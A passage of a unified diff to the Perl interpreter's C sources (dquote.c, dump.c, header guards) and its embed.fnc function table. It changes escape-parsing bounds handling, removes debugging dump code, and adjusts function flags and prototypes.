PERL_ARGS_ASSERT_GROK_BSLASH_O; - assert(*(*s - 1) == '\\'); - assert(* *s == 'o'); + + assert(**s == 'o'); (*s)++; if (**s != '{') { @@ -111,7 +112,7 @@ Perl_grok_bslash_o(pTHX_ char **s, const char * const send, UV *uv, return FALSE; } - e = (char *) memchr(*s, '}', send - *s); + e = strchr(*s, '}'); if (!e) { (*s)++; /* Move past the '{' */ while (isOCTAL(**s)) { /* Position beyond the legal digits */ @@ -162,8 +163,7 @@ Perl_grok_bslash_o(pTHX_ char **s, const char * const send, UV *uv, } bool -Perl_grok_bslash_x(pTHX_ char **s, const char * const send, UV *uv, - const char** error_msg, +Perl_grok_bslash_x(pTHX_ char **s, UV *uv, const char** error_msg, const bool output_warning, const bool strict, const bool silence_non_portable, const bool UTF) @@ -176,16 +176,13 @@ Perl_grok_bslash_x(pTHX_ char **s, const char * const send, UV *uv, * utf8 bytes, would fit within the skipped "\x{...}" bytes. * * On input: - * s is the address of a pointer to a string. **s is 'x', and the - * previous character was a backslash. At exit, *s will be advanced - * to the byte just after those absorbed by this function. Hence the - * caller can continue parsing from there. In the case of an error, - * this routine has generally positioned *s to point just to the right - * of the first bad spot, so that a message that has a "<--" to mark - * the spot will be correctly positioned. - * send - 1 gives a limit in *s that this function is not permitted to - * look beyond. That is, the function may look at bytes only in the - * range *s..send-1 + * s is the address of a pointer to a NULL terminated string that begins + * with 'x', and the previous character was a backslash. At exit, *s + * will be advanced to the byte just after those absorbed by this + * function. Hence the caller can continue parsing from there. In + * the case of an error, this routine has generally positioned *s to + * point just to the right of the first bad spot, so that a message + * that has a "<--" to mark the spot will be correctly positioned. * uv points to a UV that will hold the output value, valid only if the * return from the function is TRUE * error_msg is a pointer that will be set to an internal buffer giving an @@ -204,12 +201,14 @@ Perl_grok_bslash_x(pTHX_ char **s, const char * const send, UV *uv, char* e; STRLEN numbers_len; I32 flags = PERL_SCAN_DISALLOW_PREFIX; - +#ifdef DEBUGGING + char *start = *s - 1; + assert(*start == '\\'); +#endif PERL_ARGS_ASSERT_GROK_BSLASH_X; - assert(*(*s - 1) == '\\'); - assert(* *s == 'x'); + assert(**s == 'x'); (*s)++; if (strict || ! output_warning) { @@ -234,7 +233,7 @@ Perl_grok_bslash_x(pTHX_ char **s, const char * const send, UV *uv, return TRUE; } - e = (char *) memchr(*s, '}', send - *s); + e = strchr(*s, '}'); if (!e) { (*s)++; /* Move past the '{' */ while (isXDIGIT(**s)) { /* Position beyond the legal digits */ diff --git a/dquote_inline.h b/dquote_inline.h index f0ce9d6280ed..1c7694d89f36 100644 --- a/dquote_inline.h +++ b/dquote_inline.h @@ -6,8 +6,8 @@ * License or the Artistic License, as specified in the README file. */ -#ifndef PERL_DQUOTE_INLINE_H_ /* Guard against nested #inclusion */ -#define PERL_DQUOTE_INLINE_H_ +#ifndef DQUOTE_INLINE_H /* Guard against nested #inclusion */ +#define DQUOTE_INLINE_H /* - regcurly - a little FSA that accepts {\d+,?\d*} @@ -64,4 +64,4 @@ S_form_short_octal_warning(pTHX_ (int) (s - sans_leading_zeros), sans_leading_zeros, *s); } -#endif /* PERL_DQUOTE_INLINE_H_ */ +#endif /* DQUOTE_INLINE_H */ diff --git a/dump.c b/dump.c index 227eb996ee78..7cdebfe8751d 100644 --- a/dump.c +++ b/dump.c @@ -369,9 +369,7 @@ Perl_sv_peek(pTHX_ SV *sv) sv_catpv(t, "WILD"); goto finish; } - else if ( sv == &PL_sv_undef || sv == &PL_sv_no || sv == &PL_sv_yes - || sv == &PL_sv_zero || sv == &PL_sv_placeholder) - { + else if (sv == &PL_sv_undef || sv == &PL_sv_no || sv == &PL_sv_yes || sv == &PL_sv_placeholder) { if (sv == &PL_sv_undef) { sv_catpv(t, "SV_UNDEF"); if (!(SvFLAGS(sv) & (SVf_OK|SVf_OOK|SVs_OBJECT| @@ -400,17 +398,6 @@ Perl_sv_peek(pTHX_ SV *sv) SvNVX(sv) == 1.0) goto finish; } - else if (sv == &PL_sv_zero) { - sv_catpv(t, "SV_ZERO"); - if (!(SvFLAGS(sv) & (SVf_ROK|SVf_OOK|SVs_OBJECT| - SVs_GMG|SVs_SMG|SVs_RMG)) && - !(~SvFLAGS(sv) & (SVf_POK|SVf_NOK|SVf_READONLY| - SVp_POK|SVp_NOK)) && - SvCUR(sv) == 1 && - SvPVX_const(sv) && *SvPVX_const(sv) == '0' && - SvNVX(sv) == 0.0) - goto finish; - } else { sv_catpv(t, "SV_PLACEHOLDER"); if (!(SvFLAGS(sv) & (SVf_OK|SVf_OOK|SVs_OBJECT| @@ -493,10 +480,9 @@ Perl_sv_peek(pTHX_ SV *sv) } } else if (SvNOKp(sv)) { - DECLARATION_FOR_LC_NUMERIC_MANIPULATION; - STORE_LC_NUMERIC_SET_STANDARD(); + STORE_LC_NUMERIC_UNDERLYING_SET_STANDARD(); Perl_sv_catpvf(aTHX_ t, "(%" NVgf ")",SvNVX(sv)); - RESTORE_LC_NUMERIC(); + RESTORE_LC_NUMERIC_UNDERLYING(); } else if (SvIOKp(sv)) { if (SvIsUV(sv)) @@ -579,10 +565,7 @@ S_opdump_indent(pTHX_ const OP *o, I32 level, UV bar, PerlIO *file, /* output preceding blank line */ PerlIO_puts(file, " "); for (i = level-1; i >= 0; i--) - PerlIO_puts(file, ( i == 0 - || (i < UVSIZE*8 && (bar & ((UV)1 << i))) - ) - ? "| " : " "); + PerlIO_puts(file, i == 0 || (bar & (1 << i)) ? "| " : " "); PerlIO_puts(file, "\n"); /* output sequence number */ @@ -610,12 +593,10 @@ S_opdump_indent(pTHX_ const OP *o, I32 level, UV bar, PerlIO *file, */ static void -S_opdump_link(pTHX_ const OP *base, const OP *o, PerlIO *file) +S_opdump_link(pTHX_ const OP *o, PerlIO *file) { PerlIO_puts(file, " ===> "); - if (o == base) - PerlIO_puts(file, "[SELF]\n"); - else if (o) + if (o) PerlIO_printf(file, "%" UVuf " [%s 0x%" UVxf "]\n", sequence_num(o), OP_NAME(o), PTR2UV(o)); else @@ -996,15 +977,10 @@ S_do_op_dump_bar(pTHX_ I32 level, UV bar, PerlIO *file, const OP *o) PerlIO_printf(file, " %s(0x%" UVxf ")", op_class_names[op_class(o)], PTR2UV(o)); - S_opdump_link(aTHX_ o, o->op_next, file); + S_opdump_link(aTHX_ o->op_next, file); /* print op common fields */ - if (level == 0) { - S_opdump_indent(aTHX_ o, level, bar, file, "PARENT"); - S_opdump_link(aTHX_ o, op_parent((OP*)o), file); - } - if (o->op_targ && optype != OP_NULL) S_opdump_indent(aTHX_ o, level, bar, file, "TARG = %ld\n", (long)o->op_targ); @@ -1149,15 +1125,6 @@ S_do_op_dump_bar(pTHX_ I32 level, UV bar, PerlIO *file, const OP *o) break; } - case OP_MULTICONCAT: - S_opdump_indent(aTHX_ o, level, bar, file, "NARGS = %" IVdf "\n", - (IV)cUNOP_AUXo->op_aux[PERL_MULTICONCAT_IX_NARGS].ssize); - /* XXX really ought to dump each field individually, - * but that's too much like hard work */ - S_opdump_indent(aTHX_ o, level, bar, file, "CONSTS = (%" SVf ")\n", - SVfARG(multiconcat_stringify(o))); - break; - case OP_CONST: case OP_HINTSEVAL: case OP_METHOD_NAMED: @@ -1209,11 +1176,11 @@ S_do_op_dump_bar(pTHX_ I32 level, UV bar, PerlIO *file, const OP *o) case OP_ENTERITER: case OP_ENTERLOOP: S_opdump_indent(aTHX_ o, level, bar, file, "REDO"); - S_opdump_link(aTHX_ o, cLOOPo->op_redoop, file); + S_opdump_link(aTHX_ cLOOPo->op_redoop, file); S_opdump_indent(aTHX_ o, level, bar, file, "NEXT"); - S_opdump_link(aTHX_ o, cLOOPo->op_nextop, file); + S_opdump_link(aTHX_ cLOOPo->op_nextop, file); S_opdump_indent(aTHX_ o, level, bar, file, "LAST"); - S_opdump_link(aTHX_ o, cLOOPo->op_lastop, file); + S_opdump_link(aTHX_ cLOOPo->op_lastop, file); break; case OP_REGCOMP: @@ -1234,7 +1201,7 @@ S_do_op_dump_bar(pTHX_ I32 level, UV bar, PerlIO *file, const OP *o) case OP_ENTERTRY: case OP_ONCE: S_opdump_indent(aTHX_ o, level, bar, file, "OTHER"); - S_opdump_link(aTHX_ o, cLOGOPo->op_other, file); + S_opdump_link(aTHX_ cLOGOPo->op_other, file); break; case OP_SPLIT: case OP_MATCH: @@ -1271,42 +1238,10 @@ S_do_op_dump_bar(pTHX_ I32 level, UV bar, PerlIO *file, const OP *o) case OP_TRANS: case OP_TRANSR: - if (o->op_private & (OPpTRANS_FROM_UTF | OPpTRANS_TO_UTF)) { - /* utf8: table stored as a swash */ -#ifndef USE_ITHREADS - /* with ITHREADS, swash is stored in the pad, and the right pad - * may not be active here, so skip */ - S_opdump_indent(aTHX_ o, level, bar, file, - "SWASH = 0x%" UVxf "\n", - PTR2UV(MUTABLE_SV(cSVOPo->op_sv))); -#endif - } - else { - const OPtrans_map * const tbl = (OPtrans_map*)cPVOPo->op_pv; - SSize_t i, size = tbl->size; - - S_opdump_indent(aTHX_ o, level, bar, file, - "TABLE = 0x%" UVxf "\n", - PTR2UV(tbl)); S_opdump_indent(aTHX_ o, level, bar, file, - " SIZE: 0x%" UVxf "\n", (UV)size); - - /* dump size+1 values, to include the extra slot at the end */ - for (i = 0; i <= size; i++) { - short val = tbl->map[i]; - if ((i & 0xf) == 0) - S_opdump_indent(aTHX_ o, level, bar, file, - " %4" UVxf ":", (UV)i); - if (val < 0) - PerlIO_printf(file, " %2" IVdf, (IV)val); - else - PerlIO_printf(file, " %02" UVxf, (UV)val); - - if ( i == size || (i & 0xf) == 0xf) - PerlIO_printf(file, "\n"); - } - } - break; + "PV = 0x%" UVxf "\n", + PTR2UV(cPVOPo->op_pv)); + break; default: @@ -1834,10 +1769,9 @@ Perl_do_sv_dump(pTHX_ I32 level, PerlIO *file, SV *sv, I32 nest, I32 maxnest, bo && type != SVt_PVCV && type != SVt_PVFM && type != SVt_REGEXP && type != SVt_PVIO && !isGV_with_GP(sv) && !SvVALID(sv)) || type == SVt_NV) { - DECLARATION_FOR_LC_NUMERIC_MANIPULATION; - STORE_LC_NUMERIC_SET_STANDARD(); + STORE_LC_NUMERIC_UNDERLYING_SET_STANDARD(); Perl_dump_indent(aTHX_ level, file, " NV = %.*" NVgf "\n", NV_DIG, SvNVX(sv)); - RESTORE_LC_NUMERIC(); + RESTORE_LC_NUMERIC_UNDERLYING(); } if (SvROK(sv)) { @@ -1889,12 +1823,7 @@ Perl_do_sv_dump(pTHX_ I32 level, PerlIO *file, SV *sv, I32 nest, I32 maxnest, bo PerlIO_printf(file, "\n"); } Perl_dump_indent(aTHX_ level, file, " CUR = %" IVdf "\n", (IV)SvCUR(sv)); - if (re && type == SVt_PVLV) - /* LV-as-REGEXP usurps len field to store pointer to - * regexp struct */ - Perl_dump_indent(aTHX_ level, file, " REGEXP = 0x%" UVxf "\n", - PTR2UV(((XPV*)SvANY(sv))->xpv_len_u.xpvlenu_rx)); - else + if (!re) Perl_dump_indent(aTHX_ level, file, " LEN = %" IVdf "\n", (IV)SvLEN(sv)); #ifdef PERL_COPY_ON_WRITE @@ -2484,29 +2413,15 @@ Perl_sv_dump(pTHX_ SV *sv) int Perl_runops_debug(pTHX) { -#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY - SSize_t orig_stack_hwm = PL_curstackinfo->si_stack_hwm; - - PL_curstackinfo->si_stack_hwm = PL_stack_sp - PL_stack_base; -#endif - if (!PL_op) { Perl_ck_warner_d(aTHX_ packWARN(WARN_DEBUGGING), "NULL OP IN RUN"); return 0; } + DEBUG_l(Perl_deb(aTHX_ "Entering new RUNOPS level\n")); do { #ifdef PERL_TRACE_OPS ++PL_op_exec_cnt[PL_op->op_type]; -#endif -#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY - if (PL_curstackinfo->si_stack_hwm < PL_stack_sp - PL_stack_base) - Perl_croak_nocontext( - "panic: previous op failed to extend arg stack: " - "base=%p, sp=%p, hwm=%p\n", - PL_stack_base, PL_stack_sp, - PL_stack_base + PL_curstackinfo->si_stack_hwm); - PL_curstackinfo->si_stack_hwm = PL_stack_sp - PL_stack_base; #endif if (PL_debug) { ENTER; @@ -2537,10 +2452,6 @@ Perl_runops_debug(pTHX) DEBUG_l(Perl_deb(aTHX_ "leaving RUNOPS level\n")); PERL_ASYNC_CHECK(); -#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY - if (PL_curstackinfo->si_stack_hwm < orig_stack_hwm) - PL_curstackinfo->si_stack_hwm = orig_stack_hwm; -#endif TAINT_NOT; return 0; } @@ -2778,47 +2689,6 @@ Perl_multideref_stringify(pTHX_ const OP *o, CV *cv) } -/* Return a temporary SV containing a stringified representation of - * the op_aux field of a MULTICONCAT op. Note that if the aux contains - * both plain and utf8 versions of the const string and indices, only - * the first is displayed. - */ - -SV* -Perl_multiconcat_stringify(pTHX_ const OP *o) -{ - UNOP_AUX_item *aux = cUNOP_AUXo->op_aux; - UNOP_AUX_item *lens; - STRLEN len; - SSize_t nargs; - char *s; - SV *out = newSVpvn_flags("", 0, SVs_TEMP); - - PERL_ARGS_ASSERT_MULTICONCAT_STRINGIFY; - - nargs = aux[PERL_MULTICONCAT_IX_NARGS].ssize; - s = aux[PERL_MULTICONCAT_IX_PLAIN_PV].pv; - len = aux[PERL_MULTICONCAT_IX_PLAIN_LEN].ssize; - if (!s) { - s = aux[PERL_MULTICONCAT_IX_UTF8_PV].pv; - len = aux[PERL_MULTICONCAT_IX_UTF8_LEN].ssize; - sv_catpvs(out, "UTF8 "); - } - pv_pretty(out, s, len, 50, - NULL, NULL, - (PERL_PV_PRETTY_NOCLEAR - |PERL_PV_PRETTY_QUOTE - |PERL_PV_PRETTY_ELLIPSES)); - - lens = aux + PERL_MULTICONCAT_IX_LENGTHS; - while (nargs-- >= 0) { - Perl_sv_catpvf(aTHX_ out, ",%" IVdf, (IV)lens->ssize); - lens++; - } - return out; -} - - I32 Perl_debop(pTHX_ const OP *o) { @@ -2863,11 +2733,6 @@ Perl_debop(pTHX_ const OP *o) SVfARG(multideref_stringify(o, deb_curcv(cxstack_ix)))); break; - case OP_MULTICONCAT: - PerlIO_printf(Perl_debug_log, "(%" SVf ")", - SVfARG(multiconcat_stringify(o))); - break; - default: break; } diff --git a/ebcdic_tables.h b/ebcdic_tables.h index 69ab372d1100..c36ab961f0bd 100644 --- a/ebcdic_tables.h +++ b/ebcdic_tables.h @@ -5,8 +5,8 @@ */ -#ifndef PERL_EBCDIC_TABLES_H_ /* Guard against nested #includes */ -#define PERL_EBCDIC_TABLES_H_ 1 +#ifndef H_EBCDIC_TABLES /* Guard against nested #includes */ +#define H_EBCDIC_TABLES 1 /* This file contains definitions for various tables used in EBCDIC handling. * More info is in utfebcdic.h */ @@ -437,6 +437,6 @@ EXTCONST U8 PL_fold_latin1[] = { #endif /* EBCDIC 037 */ -#endif /* PERL_EBCDIC_TABLES_H_ */ +#endif /* H_EBCDIC_TABLES */ /* ex: set ro: */ diff --git a/embed.fnc b/embed.fnc index 7c606f4b5c8a..3faa1ff75d83 100644 --- a/embed.fnc +++ b/embed.fnc @@ -124,12 +124,6 @@ : : o Has no Perl_foo or S_foo compatibility macro: : -: This can be used when you define a macro with this entry's name that -: doesn't call the function specified by this entry. This is typically -: done for a function that effectively just wraps another one, and where -: the macro form calls the underlying function directly. For these, also -: specify the 'm' flag. Legacy-only functions should instead use 'b'. -: : embed.h: suppress "#define foo Perl_foo" : : P Pure function: @@ -282,7 +276,6 @@ ApdR |SV** |av_fetch |NN AV *av|SSize_t key|I32 lval Apd |void |av_fill |NN AV *av|SSize_t fill ApdR |SSize_t|av_len |NN AV *av ApdR |AV* |av_make |SSize_t size|NN SV **strp -p |SV* |av_nonelem |NN AV *av|SSize_t ix Apd |SV* |av_pop |NN AV *av ApdoxM |void |av_create_and_push|NN AV **const avp|NN SV *const val Apd |void |av_push |NN AV *av|NN SV *val @@ -358,8 +351,8 @@ Afnp |void |sv_catpvf_nocontext|NN SV *const sv|NN const char *const pat|... Afnp |void |sv_setpvf_nocontext|NN SV *const sv|NN const char *const pat|... Afnp |void |sv_catpvf_mg_nocontext|NN SV *const sv|NN const char *const pat|... Afnp |void |sv_setpvf_mg_nocontext|NN SV *const sv|NN const char *const pat|... -Abfnp |int |fprintf_nocontext|NN PerlIO *stream|NN const char *format|... -Abfnp |int |printf_nocontext|NN const char *format|... +Afnp |int |fprintf_nocontext|NN PerlIO *stream|NN const char *format|... +Afnp |int |printf_nocontext|NN const char *format|... #endif : Used in pp.c p |SV * |core_prototype |NULLOK SV *sv|NN const char *name \ @@ -396,7 +389,6 @@ Afp |void |deb |NN const char* pat|... Ap |void |vdeb |NN const char* pat|NULLOK va_list* args Ap |void |debprofdump EXp |SV* |multideref_stringify |NN const OP* o|NULLOK CV *cv -EXp |SV* |multiconcat_stringify |NN const OP* o Ap |I32 |debop |NN const OP* o Ap |I32 |debstack Ap |I32 |debstackptrs @@ -418,7 +410,7 @@ Ap |void |dounwind |I32 cxix pmb |bool|do_aexec |NULLOK SV* really|NN SV** mark|NN SV** sp : Used in pp_sys.c p |bool|do_aexec5 |NULLOK SV* really|NN SV** mark|NN SV** sp|int fd|int do_report -Abp |int |do_binmode |NN PerlIO *fp|int iotype|int mode +Ap |int |do_binmode |NN PerlIO *fp|int iotype|int mode : Used in pp.c Ap |bool |do_close |NULLOK GV* gv|bool not_implicit : Defined in doio.c, used only in pp_sys.c @@ -438,6 +430,7 @@ Ap |int |do_spawn_nowait|NN char* cmd #if !defined(WIN32) p |bool|do_exec3 |NN const char *incmd|int fd|int do_report #endif +p |void |do_execfree #if defined(PERL_IN_DOIO_C) s |void |exec_failed |NN const char *cmd|int fd|int do_report #endif @@ -462,34 +455,9 @@ Ap |void |do_join |NN SV *sv|NN SV *delim|NN SV **mark|NN SV **sp pR |I32 |do_ncmp |NN SV *const left|NN SV *const right Apmb |bool |do_open |NN GV* gv|NN const char* name|I32 len|int as_raw \ |int rawmode|int rawperm|NULLOK PerlIO* supplied_fp -Abp |bool |do_open9 |NN GV *gv|NN const char *name|I32 len|int as_raw \ +Ap |bool |do_open9 |NN GV *gv|NN const char *name|I32 len|int as_raw \ |int rawmode|int rawperm|NULLOK PerlIO *supplied_fp \ |NN SV *svs|I32 num -pn |void |setfd_cloexec|int fd -pn |void |setfd_inhexec|int fd -p |void |setfd_cloexec_for_nonsysfd|int fd -p |void |setfd_inhexec_for_sysfd|int fd -p |void |setfd_cloexec_or_inhexec_by_sysfdness|int fd -pR |int |PerlLIO_dup_cloexec|int oldfd -p |int |PerlLIO_dup2_cloexec|int oldfd|int newfd -pR |int |PerlLIO_open_cloexec|NN const char *file|int flag -pR |int |PerlLIO_open3_cloexec|NN const char *file|int flag|int perm -pnoR |int |my_mkstemp_cloexec|NN char *templte -#ifdef HAS_PIPE -pR |int |PerlProc_pipe_cloexec|NN int *pipefd -#endif -#ifdef HAS_SOCKET -pR |int |PerlSock_socket_cloexec|int domain|int type|int protocol -pR |int |PerlSock_accept_cloexec|int listenfd \ - |NULLOK struct sockaddr *addr \ - |NULLOK Sock_size_t *addrlen -#endif -#if defined (HAS_SOCKETPAIR) || \ - (defined (HAS_SOCKET) && defined(SOCK_DGRAM) && \ - defined(AF_INET) && defined(PF_INET)) -pR |int |PerlSock_socketpair_cloexec|int domain|int type|int protocol \ - |NN int *pairfd -#endif #if defined(PERL_IN_DOIO_C) s |IO * |openn_setup |NN GV *gv|NN char *mode|NN PerlIO **saveifp \ |NN PerlIO **saveofp|NN int *savefd \ @@ -498,15 +466,14 @@ s |bool |openn_cleanup |NN GV *gv|NN IO *io|NULLOK PerlIO *fp \ |NN char *mode|NN const char *oname \ |NULLOK PerlIO *saveifp|NULLOK PerlIO *saveofp \ |int savefd|char savetype|int writing \ - |bool was_fdopen|NULLOK const char *type \ - |NULLOK Stat_t *statbufp + |bool was_fdopen|NULLOK const char *type #endif Ap |bool |do_openn |NN GV *gv|NN const char *oname|I32 len \ |int as_raw|int rawmode|int rawperm \ |NULLOK PerlIO *supplied_fp|NULLOK SV **svp \ |I32 num Mp |bool |do_open_raw |NN GV *gv|NN const char *oname|STRLEN len \ - |int rawmode|int rawperm|NULLOK Stat_t *statbufp + |int rawmode|int rawperm Mp |bool |do_open6 |NN GV *gv|NN const char *oname|STRLEN len \ |NULLOK PerlIO *supplied_fp|NULLOK SV **svp \ |U32 num @@ -516,13 +483,13 @@ p |bool |do_print |NULLOK SV* sv|NN PerlIO* fp pR |OP* |do_readline : Defined in doio.c, used only in pp_sys.c p |bool |do_seek |NULLOK GV* gv|Off_t pos|int whence -Ap |void |do_sprintf |NN SV* sv|SSize_t len|NN SV** sarg +Ap |void |do_sprintf |NN SV* sv|I32 len|NN SV** sarg : Defined in doio.c, used only in pp_sys.c p |Off_t |do_sysseek |NN GV* gv|Off_t pos|int whence : Defined in doio.c, used only in pp_sys.c pR |Off_t |do_tell |NN GV* gv : Defined in doop.c, used only in pp.c -p |Size_t |do_trans |NN SV* sv +p |I32 |do_trans |NN SV* sv : Used in my.c and pp.c p |UV |do_vecget |NN SV* sv|STRLEN offset|int size : Defined in doop.c, used only in mg.c (with /* XXX slurp this routine */) @@ -589,7 +556,7 @@ ApR |GV* |gv_autoload_pv |NULLOK HV* stash|NN const char* namepv \ ApR |GV* |gv_autoload_pvn |NULLOK HV* stash|NN const char* name \ |STRLEN len|U32 flags Ap |void |gv_check |NN HV* stash -Abp |void |gv_efullname |NN SV* sv|NN const GV* gv +Ap |void |gv_efullname |NN SV* sv|NN const GV* gv Apmb |void |gv_efullname3 |NN SV* sv|NN const GV* gv|NULLOK const char* prefix Ap |void |gv_efullname4 |NN SV* sv|NN const GV* gv|NULLOK const char* prefix|bool keepmain Ap |GV* |gv_fetchfile |NN const char* name @@ -619,7 +586,7 @@ ApM |GV* |gv_fetchmethod_pv_flags|NN HV* stash|NN const char* name \ ApM |GV* |gv_fetchmethod_pvn_flags|NN HV* stash|NN const char* name \ |const STRLEN len|U32 flags Ap |GV* |gv_fetchpv |NN const char *nambeg|I32 add|const svtype sv_type -Abp |void |gv_fullname |NN SV* sv|NN const GV* gv +Ap |void |gv_fullname |NN SV* sv|NN const GV* gv Apmb |void |gv_fullname3 |NN SV* sv|NN const GV* gv|NULLOK const char* prefix Ap |void |gv_fullname4 |NN SV* sv|NN const GV* gv|NULLOK const char* prefix|bool keepmain : Used in scope.c @@ -745,44 +712,35 @@ ApR |I32 |is_lvalue_sub : Used in cop.h XopR |I32 |was_lvalue_sub ApMRnP |STRLEN |_is_utf8_char_helper|NN const U8 * const s|NN const U8 * e|const U32 flags -AbDMpR |U32 |to_uni_upper_lc|U32 c -AbDMpR |U32 |to_uni_title_lc|U32 c -AbDMpR |U32 |to_uni_lower_lc|U32 c -AbDMpR |bool |is_uni_alnum |UV c -AbDMpR |bool |is_uni_alnumc |UV c -AbDMpR |bool |is_uni_idfirst |UV c -AbDMpR |bool |is_uni_alpha |UV c -AbDMpPR |bool |is_uni_ascii |UV c -AbDMpPR |bool |is_uni_blank |UV c -AbDMpPR |bool |is_uni_space |UV c -AbDMpPR |bool |is_uni_cntrl |UV c -AbDMpR |bool |is_uni_graph |UV c -AbDMpR |bool |is_uni_digit |UV c -AbDMpR |bool |is_uni_upper |UV c -AbDMpR |bool |is_uni_lower |UV c -AbDMpR |bool |is_uni_print |UV c -AbDMpR |bool |is_uni_punct |UV c -AbDMpPR |bool |is_uni_xdigit |UV c +ADMpR |U32 |to_uni_upper_lc|U32 c +ADMpR |U32 |to_uni_title_lc|U32 c +ADMpR |U32 |to_uni_lower_lc|U32 c +ADMpR |bool |is_uni_alnum |UV c +ADMpR |bool |is_uni_alnumc |UV c +ADMpR |bool |is_uni_idfirst |UV c +ADMpR |bool |is_uni_alpha |UV c +ADMpPR |bool |is_uni_ascii |UV c +ADMpPR |bool |is_uni_blank |UV c +ADMpPR |bool |is_uni_space |UV c +ADMpPR |bool |is_uni_cntrl |UV c +ADMpR |bool |is_uni_graph |UV c +ADMpR |bool |is_uni_digit |UV c +ADMpR |bool |is_uni_upper |UV c +ADMpR |bool |is_uni_lower |UV c +ADMpR |bool |is_uni_print |UV c +ADMpR |bool |is_uni_punct |UV c +ADMpPR |bool |is_uni_xdigit |UV c AMp |UV |to_uni_upper |UV c|NN U8 *p|NN STRLEN *lenp AMp |UV |to_uni_title |UV c|NN U8 *p|NN STRLEN *lenp -AbDMpR |bool |isIDFIRST_lazy |NN const char* p -AbDMpR |bool |isALNUM_lazy |NN const char* p -p |void |init_uniprops -EpX |SV * |parse_uniprop_string|NN const char * const name \ - |const Size_t len \ - |const bool to_fold \ - |NN bool * invert +ADMpR |bool |isIDFIRST_lazy |NN const char* p +ADMpR |bool |isALNUM_lazy |NN const char* p #ifdef PERL_IN_UTF8_C snR |U8 |to_lower_latin1|const U8 c|NULLOK U8 *p|NULLOK STRLEN *lenp \ |const char dummy -# ifndef UV_IS_QUAD -snR |int |is_utf8_cp_above_31_bits|NN const U8 * const s \ - |NN const U8 * const e \ - |const bool consider_overlongs -# endif +inR |bool |is_utf8_cp_above_31_bits|NN const U8 * const s|NN const U8 * const e #endif #if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) -EXnp |UV |_to_fold_latin1|const U8 c|NN U8 *p|NN STRLEN *lenp|const unsigned int flags +EXp |UV |_to_fold_latin1|const U8 c|NN U8 *p|NN STRLEN *lenp|const unsigned int flags #endif #if defined(PERL_IN_UTF8_C) || defined(PERL_IN_PP_C) p |UV |_to_upper_title_latin1|const U8 c|NN U8 *p|NN STRLEN *lenp|const char S_or_s @@ -790,76 +748,61 @@ p |UV |_to_upper_title_latin1|const U8 c|NN U8 *p|NN STRLEN *lenp|const char S_o AMp |UV |to_uni_lower |UV c|NN U8 *p|NN STRLEN *lenp AMmp |UV |to_uni_fold |UV c|NN U8 *p|NN STRLEN *lenp AMp |UV |_to_uni_fold_flags|UV c|NN U8 *p|NN STRLEN *lenp|U8 flags -AbDMpR |bool |is_uni_alnum_lc|UV c -AbDMpR |bool |is_uni_alnumc_lc|UV c -AbDMpR |bool |is_uni_idfirst_lc|UV c +ADMpR |bool |is_uni_alnum_lc|UV c +ADMpR |bool |is_uni_alnumc_lc|UV c +ADMpR |bool |is_uni_idfirst_lc|UV c AMpR |bool |_is_uni_perl_idcont|UV c AMpR |bool |_is_uni_perl_idstart|UV c -AbDMpR |bool |is_uni_alpha_lc|UV c -AbDMpPR |bool |is_uni_ascii_lc|UV c -AbDMpPR |bool |is_uni_space_lc|UV c -AbDMpPR |bool |is_uni_blank_lc|UV c -AbDMpPR |bool |is_uni_cntrl_lc|UV c -AbDMpR |bool |is_uni_graph_lc|UV c -AbDMpR |bool |is_uni_digit_lc|UV c -AbDMpR |bool |is_uni_upper_lc|UV c -AbDMpR |bool |is_uni_lower_lc|UV c -AbDMpR |bool |is_uni_print_lc|UV c -AbDMpR |bool |is_uni_punct_lc|UV c -AbDMpPR |bool |is_uni_xdigit_lc|UV c -AndmoR |bool |is_utf8_invariant_string|NN const U8* const s \ - |STRLEN len -AnidR |bool |is_utf8_invariant_string_loc|NN const U8* const s \ - |STRLEN len \ - |NULLOK const U8 ** ep -#ifndef EBCDIC -AniR |unsigned int|_variant_byte_number|PERL_UINTMAX_T word -#endif -#if defined(PERL_CORE) || defined(PERL_EXT) -EinR |Size_t |variant_under_utf8_count|NN const U8* const s \ - |NN const U8* const e -#endif -AmnpdRP |bool |is_ascii_string|NN const U8* const s|STRLEN len -AmnpdRP |bool |is_invariant_string|NN const U8* const s|STRLEN len -#if defined(PERL_CORE) || defined (PERL_EXT) -EXnidR |bool |is_utf8_non_invariant_string|NN const U8* const s \ - |STRLEN len -#endif -AbnpdD |STRLEN |is_utf8_char |NN const U8 *s +ADMpR |bool |is_uni_alpha_lc|UV c +ADMpPR |bool |is_uni_ascii_lc|UV c +ADMpPR |bool |is_uni_space_lc|UV c +ADMpPR |bool |is_uni_blank_lc|UV c +ADMpPR |bool |is_uni_cntrl_lc|UV c +ADMpR |bool |is_uni_graph_lc|UV c +ADMpR |bool |is_uni_digit_lc|UV c +ADMpR |bool |is_uni_upper_lc|UV c +ADMpR |bool |is_uni_lower_lc|UV c +ADMpR |bool |is_uni_print_lc|UV c +ADMpR |bool |is_uni_punct_lc|UV c +ADMpPR |bool |is_uni_xdigit_lc|UV c +AnidR |bool |is_utf8_invariant_string|NN const U8* const s|STRLEN const len +AmnpdRP |bool |is_ascii_string|NN const U8* const s|const STRLEN len +AmnpdRP |bool |is_invariant_string|NN const U8* const s|const STRLEN len +AnpdD |STRLEN |is_utf8_char |NN const U8 *s Abmnpd |STRLEN |is_utf8_char_buf|NN const U8 *buf|NN const U8 *buf_end -AnmdpR |bool |is_utf8_string |NN const U8 *s|STRLEN len +AnipdR |bool |is_utf8_string |NN const U8 *s|const STRLEN len AnidR |bool |is_utf8_string_flags \ - |NN const U8 *s|STRLEN len|const U32 flags -AnmdpR |bool |is_strict_utf8_string|NN const U8 *s|STRLEN len -AnmdpR |bool |is_c9strict_utf8_string|NN const U8 *s|STRLEN len + |NN const U8 *s|const STRLEN len|const U32 flags +AnidR |bool |is_strict_utf8_string|NN const U8 *s|const STRLEN len +AnidR |bool |is_c9strict_utf8_string|NN const U8 *s|const STRLEN len Anpdmb |bool |is_utf8_string_loc \ |NN const U8 *s|const STRLEN len|NN const U8 **ep Andm |bool |is_utf8_string_loc_flags \ - |NN const U8 *s|STRLEN len|NN const U8 **ep \ + |NN const U8 *s|const STRLEN len|NN const U8 **ep \ |const U32 flags Andm |bool |is_strict_utf8_string_loc \ - |NN const U8 *s|STRLEN len|NN const U8 **ep + |NN const U8 